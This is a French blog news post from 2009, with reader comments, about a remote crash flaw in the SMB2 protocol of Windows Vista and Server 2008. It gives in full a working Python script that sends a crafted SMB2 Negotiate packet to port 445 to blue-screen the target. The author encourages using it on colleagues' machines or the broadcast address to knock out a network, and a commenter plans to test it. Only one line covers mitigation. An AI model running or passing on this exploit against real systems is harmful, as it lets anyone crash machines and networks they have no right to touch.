Accueil > News > Faille de sécurité critique dans SMB2

Faille de sécurité critique dans SMB2

bsodLaurent Greffié nous fait part sur son blog d’une faille de sécurité plutôt critique concernant le protocole SMB2.

Ce protocole est implémenté dans les dernières version de Windows, à savoir Vista, Seven et Server 2008.  L’exploitation extrêmement simple de cette faille permet tout simplement de faire un BSOD à distance, sans intervention de l’utilisateur. Il suffit pour celà d’envoyer un paquet SMB2 NEGOCIATE PROTOCOL REQUEST sur le réseau, avec un ‘&’ dans l’entête du paquet. Ce simple paquet corrompu fait lamentablement planter Vista ainsi que Server 2008 (je n’ai pas réussi à reproduire ce bug sur Seven).

Laurent Greffié nous fournit gentillement  le petit script python qui va bien, avec le paquet codé en hexa.

#!/usr/bin/python
# When SMB2.0 recieve a « & » char in the « Process Id High » SMB header field it dies with a
# PAGE_FAULT_IN_NONPAGED_AREA

from socket import socket
from time import sleep

host = « IP_ADDR », 445
buff = (
« \x00\x00\x00\x90″ # Begin SMB header: Session message
« \xff\x53\x4d\x42″ # Server Component: SMB
« \x72\x00\x00\x00″ # Negociate Protocol
« \x00\x18\x53\xc8″ # Operation 0×18 & sub 0xc853
« \x00\x26″# Process ID High: –> :) normal value should be « \x00\x00 »
« \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfe »
« \x00\x00\x00\x00\x00\x6d\x00\x02\x50\x43\x20\x4e\x45\x54″
« \x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31″
« \x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00″
« \x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57″
« \x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61″
« \x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c »
« \x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c »
« \x4d\x20\x30\x2e\x31\x32\x00\x02\x53\x4d\x42\x20\x32\x2e »
« \x30\x30\x32\x00″

)
s = socket()
s.connect(host)
s.send(buff)
s.close()

Si vous voulez vous amusez avec vos collègues, il suffit de remplacer   »IP_ADDR » au début du script par l’adresse IP de l’hôte que vous souhaitez faire tomber. Et si vous voulez vraiment mettre un gros bordel, vous pouvez carrément y mettre l’adresse de broadcast!

La solution consiste pour le moment à fermer son port 445, ce qui signifie l’arrêt simple et net des partages SMB sur les machines vulnérables.

Reste à savoir combien de temps va mettre Microsoft pour corriger cette faille.

Categories: News
  1. max-k
    09/09/2009 à 13:41 | #1

    Ca ne semble pas fonctionner avec un vista à jour.
    P.S : J’ai remplacé les quotes bizarres par des double-quotes normales.

    • Aldevar
      09/09/2009 à 14:39 | #2

      As tu essayé de désactiver le firewall? Car s’il n’y a pas de partage smb en cours, le port est fermé

  2. 14/09/2009 à 20:57 | #3

    Géant ce truc. Faut que je teste. Ça leur apprendra à avoir vista.

  1. Pas encore de trackbacks